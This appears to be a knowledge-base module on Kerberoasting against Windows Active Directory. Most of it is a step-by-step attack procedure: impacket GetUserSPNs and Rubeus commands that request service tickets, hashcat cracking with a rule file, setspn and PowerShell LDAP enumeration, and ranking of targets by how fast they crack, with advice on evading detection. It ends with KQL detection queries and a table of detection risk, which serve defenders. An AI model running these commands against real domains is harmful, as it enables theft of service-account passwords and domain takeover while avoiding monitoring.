| Field | Value |
|---|---|
| Module ID | REC-AD-004 |
| Technique Name | SPN scanning for kerberoastable accounts |
| MITRE ATT&CK ID | T1087.002 – Account Discovery: Domain Account; T1558.003 – Steal or Forge Kerberos Tickets: Kerberoastable Accounts |
| CVE | N/A (Design feature; weak passwords enable exploitation) |
| Platform | Windows Active Directory / On-Premises |
| Viability Status | ACTIVE ✓ (No patching possible; requires operational changes) |
| Difficulty to Detect | MEDIUM (Event ID 4769 noisy; requires baselining) |
| Requires Authentication | Yes (Valid domain user required) |
| Applicable Versions | All Windows AD domains |
| Last Verified | December 2025 |
| Author | SERVTEP – Artur Pchelnikau |
Service Principal Name (SPN) scanning identifies Active Directory service accounts vulnerable to Kerberoasting—a post-authentication attack enabling offline password cracking of service account credentials. Kerberoastable accounts are those with registered SPNs (SQL Server, IIS, SharePoint, Exchange, etc.) often running elevated-privilege services. Unlike patch-based vulnerabilities, Kerberoasting exploits fundamental Kerberos authentication protocol design: any authenticated domain user can request service tickets encrypted with target service account passwords, which can then be cracked offline using dictionary attacks or GPU-accelerated hashcat.
Critical Threat Characteristics:
Real-World Impact:
Objective: Discover kerberoastable service accounts; request TGS tickets for offline cracking.
# Step 1: Verify domain user credentials
# (Valid domain user required; no privilege escalation needed)
# Step 2: Enumerate kerberoastable accounts via LDAP
python3 -m impacket.examples.GetUserSPNs \
-request \
-dc-ip 192.168.1.100 \
DOMAIN.LOCAL/username:password
# Output: List of all kerberoastable accounts
# Example:
# ServicePrincipalName Name MemberOf
# MSSQLSvc/sql01.domain.local:1433 sql_service CN=Domain Admins,CN=Users,DC=domain,DC=local
# HTTP/webserver.domain.local web_service CN=Service Accounts,CN=Users,DC=domain,DC=local
# Step 3: Capture TGS tickets (included in above command)
# Tickets saved in Kerberos compatible format
# Step 4: Crack offline with hashcat
hashcat -m 13100 tickets.txt wordlist.txt --rules-file OneRuleToRuleThemAll.rule
# Step 5: Attempt to crack with GPU acceleration
# SQL service accounts: 5-10 minutes (weak password)
# Exchange service: 30 minutes (complex password)
# Domain admin accounts: May take hours/days if complex
# Result: Service account plaintext password
Objective: Direct LDAP query to identify SPNs without requesting tickets (lower detection risk).
# Step 1: Search AD for user accounts with SPNs
# (No TGS request; less detectable)
$filter = "(&(samAccountType=805306368)(servicePrincipalName=*))"
$searcher = New-Object System.DirectoryServices.DirectorySearcher($filter)
$searcher.PropertiesToLoad.AddRange(@("samAccountName","servicePrincipalName","userAccountControl"))
$results = $searcher.FindAll()
foreach ($result in $results) {
$user = $result.Properties["samAccountName"][0]
$spns = $result.Properties["servicePrincipalName"]
Write-Host "User: $user"
foreach ($spn in $spns) {
Write-Host " SPN: $spn"
}
}
# Output: All users with SPNs (enumeration phase)
# No tickets requested; only LDAP queries (still generates Event ID 1644 in audit)
Objective: In-memory Kerberoasting using Rubeus (avoids disk artifacts).
# Step 1: Download Rubeus (or compile from source)
# Rubeus is .NET tool; runs in PowerShell context
# Step 2: Enumerate and roast all kerberoastable accounts
.\Rubeus.exe kerberoast /stats
# Output: Statistics on kerberoastable accounts
# Example:
# Kerberoastable Users (stats):
# SQL Service Accounts: 5
# IIS Web Services: 3
# Exchange Services: 2
# Backup Services: 1
# Step 3: Request TGS tickets for all SPNs
.\Rubeus.exe kerberoast /nowrap
# Output: TGS tickets in hashcat format
# Tickets in memory; never written to disk
# Can be piped directly to hashcat for cracking
# Step 4: Optional - Target specific users for lower detection
.\Rubeus.exe kerberoast /user:sql_service /nowrap
# Result: Service account ticket for offline cracking
Objective: Use Windows native tool to enumerate SPNs (minimal detection).
# Step 1: Run setspn.exe to query SPNs
setspn -Q */*
# Output: All SPNs in domain
# Example:
# Checking domain DC=domain,DC=local
#
# MSSQLSvc/sql01.domain.local:1433 sql_service
# HTTP/webserver.domain.local web_service
# HOST/fileserver.domain.local file_service
# Step 2: Identify vulnerable SPNs (non-domain accounts, no $ in name)
setspn -T domain -F -Q */*
# Step 3: Filter for user accounts (exclude machine accounts ending in $)
# User accounts with SPNs = kerberoastable
# OPSEC Advantage: setspn.exe is built-in Windows tool
# No tool download required; blends with normal activity
Objective: Identify which kerberoastable accounts likely have weak passwords.
# Step 1: Query for service accounts with suspicious characteristics
$filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(|(userAccountControl:1.2.840.113556.1.4.803:=65536)(pwdLastSet>=`"$((Get-Date).AddDays(-365).ToString('yyyyMMddhhmmss.0Z'))`")))"
# Filters:
# - userAccountControl 65536 = Password Never Expires (HIGH RISK)
# - pwdLastSet >1 year = Not rotated (HIGH RISK)
# Step 2: Query for RC4 encryption preference
# (RC4 = weakest Kerberos encryption; cracks fastest)
# Get DomainPolicy to check encryption settings
$domain = Get-ADDomain
$policy = Get-ADObject -Identity $domain.DomainSID -Properties msDS-SupportedEncryptionTypes
# Step 3: Prioritize targets
# Priority 1: Password never expires + Domain Admin group
# Priority 2: Not rotated >1 year + Service account OU
# Priority 3: RC4-only encryption
# Step 4: Estimate crack time
# RC4 + weak password: 5-30 minutes (GPU)
# RC4 + medium password: 1-4 hours
# AES + weak password: 2-8 hours
# AES + medium password: 1-3 days
# Result: Prioritized list of high-value, likely-crackable accounts
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" // RC4-HMAC
| where TicketOptions == "0x40810000" // TGS-REQ flags
| where Status == "0x0" // Success
| extend ServiceName = tolower(ServiceName)
| where ServiceName !contains "$" and ServiceName !contains "krbtgt"
| summarize RequestCount = count(), DistinctServices = dcount(ServiceName)
by Account, Computer, bin(TimeGenerated, 5m)
| where RequestCount > 15 or DistinctServices > 10 // Bulk TGS requests
| extend AlertSeverity = "High"
SecurityEvent
| where EventID == 1644 // LDAP query
| where EventData contains "servicePrincipalName=*"
| where EventData contains "samAccountType=805306368" // User objects
| extend QueryUser = Account
| summarize QueryCount = count()
by QueryUser, Computer, bin(TimeGenerated, 1h)
| where QueryCount > 1 // Multiple SPN queries in hour
| extend AlertSeverity = "Medium", Pattern = "Potential SPN enumeration"
Priority 1: CRITICAL
Priority 2: HIGH
| Tool | Purpose | Detection Risk | OPSEC |
|---|---|---|---|
| GetUserSPNs | Enumerate + request TGS | MEDIUM (Event 4769) | Tool requires download |
| Rubeus | In-memory roasting | MEDIUM (4769) | In-memory; no disk artifacts |
| setspn.exe | Native enumeration | LOW (tool is built-in) | Blends with normal activity |
| PowerShell LDAP | Query enumeration | MEDIUM (Event 1644) | Native PS; no tool download |